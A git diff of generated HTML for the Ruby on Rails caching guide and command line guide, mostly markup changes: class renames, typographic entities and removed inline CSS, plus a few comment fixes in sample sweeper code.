<pre><tt><span style="color: #FF0000">&lt;% cache(:key =&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">'all_available_products'</span><span style="color: #990000">,</span> <span style="color: #009900">@latest_product</span><span style="color: #990000">.</span>created_at<span style="color: #990000">].</span>join<span style="color: #990000">(</span><span style="color: #FF0000">':'</span><span style="color: #990000">))</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">%&gt;</span>
- All available products<span style="color: #990000">:</span>
-</tt></pre></div></div>
-<div class="para"><p>This fragment is then available to all actions in the ProductsController using
+ All available products<span style="color: #990000">:</span></tt></pre></div></div>
+<div class="paragraph"><p>This fragment is then available to all actions in the ProductsController using
the key and can be expired the same way:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>expire_fragment<span style="color: #990000">(:</span>key <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">'all_available_products'</span><span style="color: #990000">,</span> <span style="color: #009900">@latest_product</span><span style="color: #990000">.</span>created_at<span style="color: #990000">].</span>join<span style="color: #990000">(</span><span style="color: #FF0000">':'</span><span style="color: #990000">))</span>
-</tt></pre></div></div>
+<pre><tt>expire_fragment<span style="color: #990000">(:</span>key <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">'all_available_products'</span><span style="color: #990000">,</span> <span style="color: #009900">@latest_product</span><span style="color: #990000">.</span>created_at<span style="color: #990000">].</span>join<span style="color: #990000">(</span><span style="color: #FF0000">':'</span><span style="color: #990000">))</span></tt></pre></div></div>
<h3 id="_sweepers">1.4. Sweepers</h3>
-<div class="para"><p>Cache sweeping is a mechanism which allows you to get around having a ton of
+<div class="paragraph"><p>Cache sweeping is a mechanism which allows you to get around having a ton of
expire_{page,action,fragment} calls in your code by moving all the work
required to expire cached content into a <tt>ActionController::Caching::Sweeper</tt>
class that is an Observer and looks for changes to an object via callbacks,
and when a change occurs it expires the caches associated with that object n
an around or after filter.</p></div>
-<div class="para"><p>Continuing with our Product controller example, we could rewrite it with a
+<div class="paragraph"><p>Continuing with our Product controller example, we could rewrite it with a
sweeper such as the following:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
@@ -432,19 +255,19 @@ by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> StoreSweeper <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Caching<span style="color: #990000">::</span>Sweeper
- observe Product <span style="font-style: italic"><span style="color: #9A1900"># This sweeper is going to keep an eye on the Post model</span></span>
+ observe Product <span style="font-style: italic"><span style="color: #9A1900"># This sweeper is going to keep an eye on the Product model</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Post was created call this</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Product was created call this</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_create<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Post was updated call this</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Product was updated call this</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_update<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Post was deleted call this</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># If our sweeper detects that a Product was deleted call this</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_destroy<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
expire_cache_for<span style="color: #990000">(</span>product<span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
@@ -457,9 +280,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-style: italic"><span style="color: #9A1900"># Expire a fragment</span></span>
expire_fragment<span style="color: #990000">(:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'#{record}'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'recent'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action_suffix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'all_products'</span><span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Then we add it to our controller to tell it to call the sweeper when certain
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Then we add it to our controller to tell it to call the sweeper when certain
actions are called. So, if we wanted to expire the cached content for the
list and edit actions when the create action was called, we could do the
following:</p></div>
@@ -484,14 +306,13 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h3 id="_sql_caching">1.5. SQL Caching</h3>
-<div class="para"><p>Query caching is a Rails feature that caches the result set returned by each
+<div class="paragraph"><p>Query caching is a Rails feature that caches the result set returned by each
query so that if Rails encounters the same query again for that request, it
will used the cached result set as opposed to running the query against the
database again.</p></div>
-<div class="para"><p>For example:</p></div>
+<div class="paragraph"><p>For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -521,21 +342,20 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In the <em>list</em> action above, the result set returned by the first
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>In the <em>list</em> action above, the result set returned by the first
Product.find(:all) will be cached and will be used to avoid querying the
database again the second time that finder is called.</p></div>
-<div class="para"><p>Query caches are created at the start of an action and destroyed at the end of
+<div class="paragraph"><p>Query caches are created at the start of an action and destroyed at the end of
that action and thus persist only for the duration of the action.</p></div>
<h3 id="_cache_stores">1.6. Cache stores</h3>
-<div class="para"><p>Rails provides different stores for the cached data for action and fragment
+<div class="paragraph"><p>Rails provides different stores for the cached data for action and fragment
caches. Page caches are always stored on disk.</p></div>
-<div class="para"><p>The cache stores provided include:</p></div>
-<div class="para"><p>1) Memory store: Cached data is stored in the memory allocated to the Rails
+<div class="paragraph"><p>The cache stores provided include:</p></div>
+<div class="paragraph"><p>1) Memory store: Cached data is stored in the memory allocated to the Rails
process, which is fine for WEBrick and for FCGI (if you
- don't care that each FCGI process holds its own fragment
- store). It's not suitable for CGI as the process is thrown
+ don&#8217;t care that each FCGI process holds its own fragment
+ store). It&#8217;s not suitable for CGI as the process is thrown
away at the end of each request. It can potentially also
take up a lot of memory since each process keeps all the
caches in memory.</p></div>
@@ -544,9 +364,8 @@ caches. Page caches are always stored on disk.</p></div>
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>memory_store
-</tt></pre></div></div>
-<div class="para"><p>2) File store: Cached data is stored on the disk, this is the default store
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>memory_store</tt></pre></div></div>
+<div class="paragraph"><p>2) File store: Cached data is stored on the disk, this is the default store
and the default path for this store is: /tmp/cache. Works
well for all types of environments and allows all processes
running from the same application directory to access the
@@ -556,9 +375,8 @@ http://www.gnu.org/software/src-highlite -->
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>file_store<span style="color: #990000">,</span> <span style="color: #FF0000">"/path/to/cache/directory"</span>
-</tt></pre></div></div>
-<div class="para"><p>3) DRb store: Cached data is stored in a separate shared DRb process that all
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>file_store<span style="color: #990000">,</span> <span style="color: #FF0000">"/path/to/cache/directory"</span></tt></pre></div></div>
+<div class="paragraph"><p>3) DRb store: Cached data is stored in a separate shared DRb process that all
servers communicate with. This works for all environments and
only keeps one cache around for all processes, but requires
that you run and manage a separate DRb process.</p></div>
@@ -567,41 +385,38 @@ http://www.gnu.org/software/src-highlite -->
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>drb_store<span style="color: #990000">,</span> <span style="color: #FF0000">"druby://localhost:9192"</span>
-</tt></pre></div></div>
-<div class="para"><p>4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead.
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>drb_store<span style="color: #990000">,</span> <span style="color: #FF0000">"druby://localhost:9192"</span></tt></pre></div></div>
+<div class="paragraph"><p>4) MemCached store: Works like DRbStore, but uses Danga&#8217;s MemCache instead.
Rails uses the bundled memcached-client gem by default.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>mem_cache_store<span style="color: #990000">,</span> <span style="color: #FF0000">"localhost"</span>
-</tt></pre></div></div>
-<div class="para"><p>5) Custom store: You can define your own cache store (new in Rails 2.1)</p></div>
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>mem_cache_store<span style="color: #990000">,</span> <span style="color: #FF0000">"localhost"</span></tt></pre></div></div>
+<div class="paragraph"><p>5) Custom store: You can define your own cache store (new in Rails 2.1)</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> MyOwnStore<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"parameter"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p><tt>Note: config.cache_store can be used in place of
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>cache_store <span style="color: #990000">=</span> MyOwnStore<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"parameter"</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p><tt>Note: config.cache_store can be used in place of
ActionController::Base.cache_store in your Rails::Initializer.run block in
environment.rb</tt></p></div>
</div>
<h2 id="_conditional_get_support">2. Conditional GET support</h2>
<div class="sectionbody">
-<div class="para"><p>Conditional GETs are a facility of the HTTP spec that provide a way for web
+<div class="paragraph"><p>Conditional GETs are a facility of the HTTP spec that provide a way for web
servers to tell browsers that the response to a GET request hasn’t changed
since the last request and can be safely pulled from the browser cache.</p></div>
-<div class="para"><p>They work by using the HTTP_IF_NONE_MATCH and HTTP_IF_MODIFIED_SINCE headers to
+<div class="paragraph"><p>They work by using the HTTP_IF_NONE_MATCH and HTTP_IF_MODIFIED_SINCE headers to
pass back and forth both a unique content identifier and the timestamp of when
the content was last changed. If the browser makes a request where the content
identifier (etag) or last modified since timestamp matches the server’s version
then the server only needs to send back an empty response with a not modified
status.</p></div>
-<div class="para"><p>It is the server’s (i.e. our) responsibility to look for a last modified
+<div class="paragraph"><p>It is the server’s (i.e. our) responsibility to look for a last modified
timestamp and the if-none-match header and determine whether or not to send
back the full response. With conditional-get support in rails this is a pretty
easy task:</p></div>
@@ -627,9 +442,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-style: italic"><span style="color: #9A1900"># anything. The default render checks for this using the parameters</span></span>
<span style="font-style: italic"><span style="color: #9A1900"># used in the previous call to stale? and will automatically send a</span></span>
<span style="font-style: italic"><span style="color: #9A1900"># :not_modified. So that's it, you're done.</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you don’t have any special response processing and are using the default
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If you don’t have any special response processing and are using the default
rendering mechanism (i.e. you’re not using respond_to or calling render
yourself) then you’ve got an easy helper in fresh_when:</p></div>
<div class="listingblock">
@@ -646,22 +460,21 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #009900">@product</span> <span style="color: #990000">=</span> Product<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
fresh_when <span style="color: #990000">:</span>last_modified <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span><span style="color: #990000">.</span>published_at<span style="color: #990000">.</span>utc<span style="color: #990000">,</span> <span style="color: #990000">:</span>etag <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
<h2 id="_advanced_caching">3. Advanced Caching</h2>
<div class="sectionbody">
-<div class="para"><p>Along with the built-in mechanisms outlined above, a number of excellent
+<div class="paragraph"><p>Along with the built-in mechanisms outlined above, a number of excellent
plugins exist to help with finer grained control over caching. These include
-Chris Wanstrath's excellent cache_fu plugin (more info here:
-<a href="http://errtheblog.com/posts/57-kickin-ass-w-cachefu">http://errtheblog.com/posts/57-kickin-ass-w-cachefu</a>) and Evan Weaver's
+Chris Wanstrath&#8217;s excellent cache_fu plugin (more info here:
+<a href="http://errtheblog.com/posts/57-kickin-ass-w-cachefu">http://errtheblog.com/posts/57-kickin-ass-w-cachefu</a>) and Evan Weaver&#8217;s
interlock plugin (more info here:
<a href="http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/">http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/</a>). Both
of these plugins play nice with memcached and are a must-see for anyone
seriously considering optimizing their caching needs.</p></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/command_line.html b/railties/doc/guides/html/command_line.html
index 2a28da177e..226a68e105 100644
--- a/railties/doc/guides/html/command_line.html
+++ b/railties/doc/guides/html/command_line.html
@@ -1,224 +1,68 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>A Guide to The Rails Command Line</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>A Guide to The Rails Command Line</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_command_line_basics">Command Line Basics</a>
- <ul>
-
- <li><a href="#_rails">rails</a></li>
-
- <li><a href="#_server">server</a></li>
-
- <li><a href="#_generate">generate</a></li>
-
- </ul>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>A Guide to The Rails Command Line</h1>
- <div id="preamble">
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_command_line_basics">Command Line Basics</a>
+ <ul>
+
+ <li><a href="#_rails">rails</a></li>
+
+ <li><a href="#_server">server</a></li>
+
+ <li><a href="#_generate">generate</a></li>
+
+ <li><a href="#_console">console</a></li>
+
+ <li><a href="#_dbconsole">dbconsole</a></li>
+
+ <li><a href="#_plugin">plugin</a></li>
+
+ <li><a href="#_runner">runner</a></li>
+
+ <li><a href="#_destroy">destroy</a></li>
+
+ <li><a href="#_about">about</a></li>
+
+ </ul>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>A Guide to The Rails Command Line</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>Rails comes with every command line tool you'll need to</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Rails comes with every command line tool you&#8217;ll need to</p></div>
+<div class="ulist"><ul>
<li>
<p>
Create a Rails application
@@ -245,14 +89,14 @@ Profile and benchmark your new creation
</p>
</li>
</ul></div>
-<div class="para"><p>&#8230; and much, much more! (Buy now!)</p></div>
-<div class="para"><p>This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide.</p></div>
+<div class="paragraph"><p>... and much, much more! (Buy now!)</p></div>
+<div class="paragraph"><p>This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide.</p></div>
</div>
</div>
<h2 id="_command_line_basics">1. Command Line Basics</h2>
<div class="sectionbody">
-<div class="para"><p>There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you&#8217;ll probably use them are:</p></div>
+<div class="ulist"><ul>
<li>
<p>
console
@@ -279,9 +123,9 @@ rails
</p>
</li>
</ul></div>
-<div class="para"><p>Let's create a simple Rails application to step through each of these commands in context.</p></div>
+<div class="paragraph"><p>Let&#8217;s create a simple Rails application to step through each of these commands in context.</p></div>
<h3 id="_rails">1.1. rails</h3>
-<div class="para"><p>The first thing we'll want to do is create a new Rails application by running the <tt>rails</tt> command after installing Rails.</p></div>
+<div class="paragraph"><p>The first thing we&#8217;ll want to do is create a new Rails application by running the <tt>rails</tt> command after installing Rails.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -305,9 +149,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #990000">...</span>
create log/production<span style="color: #990000">.</span>log
create log/development<span style="color: #990000">.</span>log
- create log/test<span style="color: #990000">.</span>log
-</tt></pre></div></div>
-<div class="para"><p>Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.</p></div>
+ create log/test<span style="color: #990000">.</span>log</tt></pre></div></div>
+<div class="paragraph"><p>Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You&#8217;ve got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -317,16 +160,16 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h3 id="_server">1.2. server</h3>
-<div class="para"><p>Let's try it! The <tt>server</tt> command launches a small web server written in Ruby named WEBrick which was also installed when you installed Rails. You'll use this any time you want to view your work through a web browser.</p></div>
+<div class="paragraph"><p>Let&#8217;s try it! The <tt>server</tt> command launches a small web server named WEBrick which comes bundled with Ruby. You&#8217;ll use this any time you want to view your work through a web browser.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">WEBrick isn't your only option for serving Rails. We'll get to that in a later section. [XXX: which section]</td>
+<td class="content">WEBrick isn&#8217;t your only option for serving Rails. We&#8217;ll get to that in a later section. [XXX: which section]</td>
</tr></table>
</div>
-<div class="para"><p>Here we'll flex our <tt>server</tt> command, which without any prodding of any kind will run our new shiny Rails app:</p></div>
+<div class="paragraph"><p>Here we&#8217;ll flex our <tt>server</tt> command, which without any prodding of any kind will run our new shiny Rails app:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -339,12 +182,11 @@ $ <span style="color: #990000">.</span>/script/server
<span style="color: #990000">=&gt;</span> Ctrl-C to shutdown server<span style="color: #990000">;</span> call with --help <span style="font-weight: bold"><span style="color: #0000FF">for</span></span> options
<span style="color: #990000">[</span><span style="color: #993399">2008</span>-<span style="color: #993399">11</span>-<span style="color: #993399">04</span> <span style="color: #993399">10</span><span style="color: #990000">:</span><span style="color: #993399">11</span><span style="color: #990000">:</span><span style="color: #993399">38</span><span style="color: #990000">]</span> INFO WEBrick <span style="color: #993399">1.3</span><span style="color: #990000">.</span><span style="color: #993399">1</span>
<span style="color: #990000">[</span><span style="color: #993399">2008</span>-<span style="color: #993399">11</span>-<span style="color: #993399">04</span> <span style="color: #993399">10</span><span style="color: #990000">:</span><span style="color: #993399">11</span><span style="color: #990000">:</span><span style="color: #993399">38</span><span style="color: #990000">]</span> INFO ruby <span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">5</span> <span style="color: #990000">(</span><span style="color: #993399">2006</span>-<span style="color: #993399">12</span>-<span style="color: #993399">04</span><span style="color: #990000">)</span> <span style="color: #990000">[</span>i486-linux<span style="color: #990000">]</span>
-<span style="color: #990000">[</span><span style="color: #993399">2008</span>-<span style="color: #993399">11</span>-<span style="color: #993399">04</span> <span style="color: #993399">10</span><span style="color: #990000">:</span><span style="color: #993399">11</span><span style="color: #990000">:</span><span style="color: #993399">38</span><span style="color: #990000">]</span> INFO WEBrick<span style="color: #990000">::</span>HTTPServer<span style="font-style: italic"><span style="color: #9A1900">#start: pid=18994 port=3000</span></span>
-</tt></pre></div></div>
-<div class="para"><p>WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to <a href="http://localhost:3000">http://localhost:3000</a>. I'll wait.</p></div>
-<div class="para"><p>See? Cool! It doesn't do much yet, but we'll change that.</p></div>
+<span style="color: #990000">[</span><span style="color: #993399">2008</span>-<span style="color: #993399">11</span>-<span style="color: #993399">04</span> <span style="color: #993399">10</span><span style="color: #990000">:</span><span style="color: #993399">11</span><span style="color: #990000">:</span><span style="color: #993399">38</span><span style="color: #990000">]</span> INFO WEBrick<span style="color: #990000">::</span>HTTPServer<span style="font-style: italic"><span style="color: #9A1900">#start: pid=18994 port=3000</span></span></tt></pre></div></div>
+<div class="paragraph"><p>WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to <a href="http://localhost:3000">http://localhost:3000</a>. I&#8217;ll wait.</p></div>
+<div class="paragraph"><p>See? Cool! It doesn&#8217;t do much yet, but we&#8217;ll change that.</p></div>
<h3 id="_generate">1.3. generate</h3>
-<div class="para"><p>The <tt>generate</tt> command uses templates to create a whole lot of things. You can always find out what's available by running <tt>generate</tt> by itself. Let's do that:</p></div>
+<div class="paragraph"><p>The <tt>generate</tt> command uses templates to create a whole lot of things. You can always find out what&#8217;s available by running <tt>generate</tt> by itself. Let&#8217;s do that:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -360,24 +202,23 @@ Installed Generators
Builtin<span style="color: #990000">:</span> controller<span style="color: #990000">,</span> integration_test<span style="color: #990000">,</span> mailer<span style="color: #990000">,</span> migration<span style="color: #990000">,</span> model<span style="color: #990000">,</span> observer<span style="color: #990000">,</span> performance_test<span style="color: #990000">,</span> plugin<span style="color: #990000">,</span> resource<span style="color: #990000">,</span> scaffold<span style="color: #990000">,</span> session_migration
<span style="color: #990000">...</span>
-<span style="color: #990000">...</span>
-</tt></pre></div></div>
+<span style="color: #990000">...</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!</td>
+<td class="content">You can install more generators through generator gems, portions of plugins you&#8217;ll undoubtedly install, and you can even create your own!</td>
</tr></table>
</div>
-<div class="para"><p>Using generators will save you a large amount of time by writing <strong>boilerplate code</strong> for you &#8212; necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right?</p></div>
-<div class="para"><p>Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:</p></div>
